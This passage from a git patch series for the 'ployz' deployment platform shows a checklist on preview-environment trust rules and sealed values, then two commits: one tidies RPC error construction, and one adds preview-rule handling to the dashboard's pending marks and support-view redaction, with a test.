-- [ ] Edit `core/crates/ployzd/src/machine/local_machine/deploy_approval.rs`. A preview-rule creation must be in the derived Namespace, with derived hostnames, and Sealed parts inherited or, under a review, sealed for the review's Environment. Thread C's deploy approval and the automatic deploy rule refuse the reserved preview Namespace pattern.
-- [ ] Edit `core/crates/ployz-core/src/authority/deploy.rs` to widen `sealed_scope_allows` for reviews only, as `d-build-proof.md` says.
-- [ ] Edit `core/crates/ployz-store/src/deployment/mod.rs` (`namespace`, `:1539`) so a PR Environment under a preview rule gets the derived Namespace, and no other Environment ever gets the reserved pattern. Edit the preview lowering to emit derived hostnames.
-- [ ] Edit `core/crates/ployz-store/src/pull_request/mod.rs` and `dashboard/src/modules/config-store/store-pull-request.server.ts` so trust comes from the preview rule. The members join stays only as the label shown before a rule exists.
-- [ ] Create the CLI `ployz github preview approve`, which prints the trusted accounts, inherited keys, preview domain, and any Bind Mount or External Volume as "shared with production". It refuses those mounts unless `--share-mounts` is given.
-- [ ] Edit `docs/user/environments/preview-environments.md` and `docs/user/services/variables.md`.
+- [x] Edit `core/crates/ployz-core/src/sealed.rs` so `SealedValue` gains `environment: Option<Uuid>`, which replaces the identity's Environment in the associated data.
+- [x] Edit `core/crates/ployzd/src/sealed_env.rs` to check the override on every Sealed part, template parts and build records included. It opens a value carrying one only when admission handed it the preview rule's `inherit` list for that Environment.
+- [x] Edit `core/crates/ployz-core/src/authority/rule.rs` to add `PreviewRule`, `PreviewReview`, `Authority::Review`, `preview_namespace(rule, key)`, `preview_hostname(label, namespace, domain)` and `PreviewTemplate::of(spec, derived)`. Placeholders replace only strings the Machine derived. Built in `authority/preview.rs`. `preview_hostname` became `preview_prefix(label, namespace)`, giving `<label>-<Namespace>.<domain>` (`d-build-proof.md`, "Hostnames").
+- [x] Edit `core/crates/ployzd/src/management/build_grant.rs` so grant admission accepts a trusted push (`Head` on a non-parent branch, `actor_id` in `trusted`) and `Review(d)`. A review needs its signature, rule, generation and commit, a `workflow_dispatch` run on the parent's branch, and the signer rule of decision 6. All of that is checked before the record opens.
+- [x] Edit `core/crates/ployzd/src/machine/local_machine/deploy_approval.rs`. A preview-rule creation must be in the derived Namespace, with derived hostnames, and Sealed parts inherited or, under a review, sealed for the review's Environment. Thread C's deploy approval and the automatic deploy rule refuse the reserved preview Namespace pattern.
+- [x] Edit `core/crates/ployz-core/src/authority/deploy.rs` to widen `sealed_scope_allows` for reviews only, as `d-build-proof.md` says.
+- [x] Edit `core/crates/ployz-store/src/deployment/mod.rs` (`namespace`, `:1539`) so a PR Environment under a preview rule gets the derived Namespace, and no other Environment ever gets the reserved pattern. Edit the preview lowering to emit derived hostnames.
+- [x] Edit `core/crates/ployz-store/src/build.rs`, `core/crates/ployz/src/sdk/github_build.rs`, `sdk/store_runner.rs`, `cluster.rs` and `handlers/build/rule.rs` so a preview's GitHub build follows its push's run, checks in and asks its grant under the preview rule, and the runner attaches a `PreviewProof` to each `EnsureContainer`. A preview build's Actions cache scope also names the rule, so no preview build writes layers a production build reads.
+- [ ] Edit `core/crates/ployz-store/src/pull_request/mod.rs` and `dashboard/src/modules/config-store/store-pull-request.server.ts` so trust comes from the preview rule. The members join stays only as the label shown before a rule exists. Partly: `pull_request` opens a preview under the rule in its derived Namespace, but Cloud still decides with the members join whether a push deploys. Every Machine checks the rule's `trusted` list, so a member the rule doesn't trust gets a refused preview, not a deployed one.
+- [x] Create the CLI `ployz github preview approve`, which prints the trusted accounts, inherited keys, preview domain, and any Bind Mount or External Volume as "shared with production". It refuses those mounts unless `--share-mounts` is given.
+- [x] Edit `docs/user/environments/preview-environments.md` and `docs/user/services/variables.md`.
 
 **Verify, unit.**
 

From 059157e159d4b288cd7e7d2be91befa4c7d4655e Mon Sep 17 00:00:00 2001
From: Nick Potts <github@nickpotts.com.au>
Date: Tue, 10 Nov 2026 16:20:55 +0000
Subject: [PATCH 7/8] Use main's RpcError helpers for the preview grant's
 refusals

---
 core/crates/ployzd/src/machine_api/local.rs | 19 ++++++-------------
 1 file changed, 6 insertions(+), 13 deletions(-)

diff --git a/core/crates/ployzd/src/machine_api/local.rs b/core/crates/ployzd/src/machine_api/local.rs
index 4d2776a5bc..a5afa51682 100644
--- a/core/crates/ployzd/src/machine_api/local.rs
+++ b/core/crates/ployzd/src/machine_api/local.rs
@@ -1025,13 +1025,9 @@ impl MachineRpc for MachineService {
         // build's grant passes enforcement only once every check of its proof passed.
         let admitted = match (&request.rule, &request.preview) {
             (Some(_), Some(_)) => {
-                return respond(RpcError {
-                    code: RpcErrorCode::InvalidArgument,
-                    message: "a Build Grant is under one rule, not a rule and a preview rule"
-                        .into(),
-                    details: Value::Null,
-                    cause: Vec::new(),
-                });
+                return respond(RpcError::invalid_argument(
+                    "a Build Grant is under one rule, not a rule and a preview rule",
+                ));
             }
             (None, Some(grant)) => {
                 let admitted = self.admit_preview_grant(
@@ -1040,12 +1036,9 @@ impl MachineRpc for MachineService {
                     request.sealed.as_ref(),
                 );
                 let Some(admitted) = admitted.await else {
-                    return respond(RpcError {
-                        code: RpcErrorCode::Unavailable,
-                        message: "This Server cannot reach GitHub to check a preview build".into(),
-                        details: Value::Null,
-                        cause: Vec::new(),
-                    });
+                    return respond(RpcError::unavailable(
+                        "This Server cannot reach GitHub to check a preview build",
+                    ));
                 };
                 match admitted {
                     Ok(admitted) => Some(admitted),

From 4378b9588e1b74260f980b01afb0b6ddc4f8cc58 Mon Sep 17 00:00:00 2001
From: Nick Potts <github@nickpotts.com.au>
Date: Tue, 10 Nov 2026 16:27:16 +0000
Subject: [PATCH 8/8] Handle preview rule commands in Cloud's pending marks and
 support view

A preview rule's Written carries lowered specs, so support sees them only
with both variables and configs on.
---
 dashboard/src/modules/config-store/store-pending.ts       | 4 +++-
 dashboard/src/modules/support-access/support-view.test.ts | 3 +++
 dashboard/src/modules/support-access/support-view.ts      | 2 ++
 3 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/dashboard/src/modules/config-store/store-pending.ts b/dashboard/src/modules/config-store/store-pending.ts
index 56a476887c..c69daba302 100644
--- a/dashboard/src/modules/config-store/store-pending.ts
+++ b/dashboard/src/modules/config-store/store-pending.ts
@@ -102,7 +102,9 @@ export function marksOf(command: ConfigCommand | BatchCommand): Mark[] {
     case "remove":
     case "cancel_removal":
     case "approve_pull_request":
-    case "approve_rule": return [];
+    case "approve_rule":
+    case "approve_preview_rule":
+    case "plan_preview_rule": return [];
     default: return absurd(command);
   }
 }
diff --git a/dashboard/src/modules/support-access/support-view.test.ts b/dashboard/src/modules/support-access/support-view.test.ts
index c45580d98a..66b241fd3e 100644
--- a/dashboard/src/modules/support-access/support-view.test.ts
+++ b/dashboard/src/modules/support-access/support-view.test.ts
@@ -184,6 +184,9 @@ describe("everything support reads, with every switch off", () => {
     asTestDouble<ConfigWritten>()({ written: "branch_setup", environments: [{ removal: { kind: "deployment", ...summary } }] }),
     asTestDouble<ConfigWritten>()({ written: "removal", removal: "removing", left: [{ deployment: summary }], waiting_on: [] }),
     asTestDouble<ConfigWritten>()({ written: "automated", admitted: [{ environment: "e1", deployment: summary }] }),
+    asTestDouble<ConfigWritten>()({
+      written: "preview_rule", target: [{ container: { environment: { LOG_LEVEL: VARIABLE } } }], setup: [{ pre_deploy: { command: [VARIABLE] } }],
+    }),
   ];
   const leaked = (shown: ConfigView | ConfigWritten | StoreRefusal) => MARKERS.filter((marker) => JSON.stringify(shown).includes(marker));
 
diff --git a/dashboard/src/modules/support-access/support-view.ts b/dashboard/src/modules/support-access/support-view.ts
index c6382c632d..9c96a39a58 100644
--- a/dashboard/src/modules/support-access/support-view.ts
+++ b/dashboard/src/modules/support-access/support-view.ts
@@ -185,6 +185,8 @@ export function writtenForSupport(written: ConfigWritten, shows: SupportShows):
     case "removal": return redactions(shows).removal(written);
     case "automated": return redactions(shows).automated(written);
     case "rule": return { ...written, target: [] };
+    // Lowered specs hold variables and config files alike.
+    case "preview_rule": return shows.variables && shows.configs ? written : { ...written, target: [], setup: [] };
     case "batch": return { ...written, results: written.results.map((result) => writtenForSupport(result, shows)) };
     case "project":
     case "project_renamed":